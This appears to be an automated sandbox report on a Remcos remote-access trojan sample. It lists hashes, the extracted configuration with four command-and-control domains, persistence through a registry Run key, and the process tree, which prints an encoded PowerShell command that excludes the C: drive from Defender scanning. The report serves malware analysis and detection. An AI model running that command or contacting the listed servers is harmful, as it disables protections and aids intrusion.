remcos | f2643b4686b59c10dd7e51a8482f5515f15ab47eb81b6d8674b135c7ea266d24

General

Target

2552ee4ef6ff571f4791942deca0d55f.exe
Size

1.2MB
MD5

2552ee4ef6ff571f4791942deca0d55f
SHA1

e89224a9007e970775765d10531b0b4745d89bd8
SHA256

f2643b4686b59c10dd7e51a8482f5515f15ab47eb81b6d8674b135c7ea266d24
SHA512

bd610e845344ae6799ab59b3c0eec640905eaac0bba16c50beb3c49bc7796a7ca88212e4bc27cc63906b87a0a489afd400cfbfa7479d1a579703fcfcc008372a
SSDEEP

24576:ucCsMgnxZWnVxBTiaXrfoSs9IqoUF5arrK5fJKt0EDxobyoOZ:ucRxZWVxBDTvsRoUF5jfJ3DhO

Score

10^/10

remcos 11262022 persistence rat

Malware Config

Extracted

Family

remcos

Botnet

11262022

C2

nikahuve.ac.ug:65214

kalskala.ac.ug:65214

tuekisaa.ac.ug:65214

parthaha.ac.ug:65214

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
install_path
%AppData%
keylog_crypt
true
keylog_file
vbfxs.dat
keylog_flag
false
keylog_folder
fsscbas
keylog_path
%AppData%
mouse_option
false
mutex
dchfgsdmhj-JWMVH4
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
notepad;solitaire;

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

2552ee4ef6ff571f4791942deca0d55f.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	2552ee4ef6ff571f4791942deca0d55f.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

2552ee4ef6ff571f4791942deca0d55f.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rnjeh = "\"C:\\Users\\Admin\\AppData\\Roaming\\Maucly\\Rnjeh.exe\""	2552ee4ef6ff571f4791942deca0d55f.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

2552ee4ef6ff571f4791942deca0d55f.exe

description pid process target process

PID 3080 set thread context of 4220 3080 2552ee4ef6ff571f4791942deca0d55f.exe 2552ee4ef6ff571f4791942deca0d55f.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

2552ee4ef6ff571f4791942deca0d55f.exepowershell.exe

pid process

3080 2552ee4ef6ff571f4791942deca0d55f.exe
3080 2552ee4ef6ff571f4791942deca0d55f.exe
2080 powershell.exe
2080 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

2552ee4ef6ff571f4791942deca0d55f.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3080 2552ee4ef6ff571f4791942deca0d55f.exe
Token: SeDebugPrivilege 2080 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

2552ee4ef6ff571f4791942deca0d55f.exe

pid process

4220 2552ee4ef6ff571f4791942deca0d55f.exe

description	pid	process	target process
PID 3080 set thread context of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe

pid	process
3080	2552ee4ef6ff571f4791942deca0d55f.exe
3080	2552ee4ef6ff571f4791942deca0d55f.exe
2080	powershell.exe
2080	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3080	2552ee4ef6ff571f4791942deca0d55f.exe
Token: SeDebugPrivilege	2080	powershell.exe

pid	process
4220	2552ee4ef6ff571f4791942deca0d55f.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

2552ee4ef6ff571f4791942deca0d55f.execmd.exe

C:\Users\Admin\AppData\Local\Temp\2552ee4ef6ff571f4791942deca0d55f.exe
"C:\Users\Admin\AppData\Local\Temp\2552ee4ef6ff571f4791942deca0d55f.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3080

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
2⤵
- Suspicious use of WriteProcessMemory
PID:3620

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2080

C:\Users\Admin\AppData\Local\Temp\2552ee4ef6ff571f4791942deca0d55f.exe
C:\Users\Admin\AppData\Local\Temp\2552ee4ef6ff571f4791942deca0d55f.exe
2⤵
- Suspicious use of SetWindowsHookEx
PID:4220

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2080-150-0x0000000007480000-0x0000000007AFA000-memory.dmp

Filesize
6.5MB

Download
memory/2080-151-0x0000000006E40000-0x0000000006E5A000-memory.dmp

Filesize
104KB

Download
memory/2080-147-0x0000000005F90000-0x0000000005FC2000-memory.dmp

Filesize
200KB

Download
memory/2080-153-0x00000000070D0000-0x0000000007166000-memory.dmp

Filesize
600KB

Download
memory/2080-148-0x00000000726C0000-0x000000007270C000-memory.dmp

Filesize
304KB

Download
memory/2080-146-0x0000000005B30000-0x0000000005B4E000-memory.dmp

Filesize
120KB

Download
memory/2080-145-0x0000000005410000-0x0000000005476000-memory.dmp

Filesize
408KB

Download
memory/2080-139-0x0000000000000000-mapping.dmp

Download
memory/2080-152-0x0000000006EA0000-0x0000000006EAA000-memory.dmp

Filesize
40KB

Download
memory/2080-141-0x00000000045C0000-0x00000000045F6000-memory.dmp

Filesize
216KB

Download
memory/2080-149-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

Filesize
120KB

Download
memory/2080-143-0x0000000004D70000-0x0000000005398000-memory.dmp

Filesize
6.2MB

Download
memory/2080-144-0x0000000004C90000-0x0000000004CF6000-memory.dmp

Filesize
408KB

Download
memory/3080-133-0x0000000005810000-0x0000000005832000-memory.dmp

Filesize
136KB

Download
memory/3080-132-0x0000000000D10000-0x0000000000E40000-memory.dmp

Filesize
1.2MB

Download
memory/3620-134-0x0000000000000000-mapping.dmp

Download
memory/4220-137-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4220-142-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4220-140-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4220-138-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4220-136-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4220-135-0x0000000000000000-mapping.dmp

Download

description	pid	process	target process
PID 3080 wrote to memory of 3620	3080	2552ee4ef6ff571f4791942deca0d55f.exe	cmd.exe
PID 3080 wrote to memory of 3620	3080	2552ee4ef6ff571f4791942deca0d55f.exe	cmd.exe
PID 3080 wrote to memory of 3620	3080	2552ee4ef6ff571f4791942deca0d55f.exe	cmd.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3080 wrote to memory of 4220	3080	2552ee4ef6ff571f4791942deca0d55f.exe	2552ee4ef6ff571f4791942deca0d55f.exe
PID 3620 wrote to memory of 2080	3620	cmd.exe	powershell.exe
PID 3620 wrote to memory of 2080	3620	cmd.exe	powershell.exe
PID 3620 wrote to memory of 2080	3620	cmd.exe	powershell.exe

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads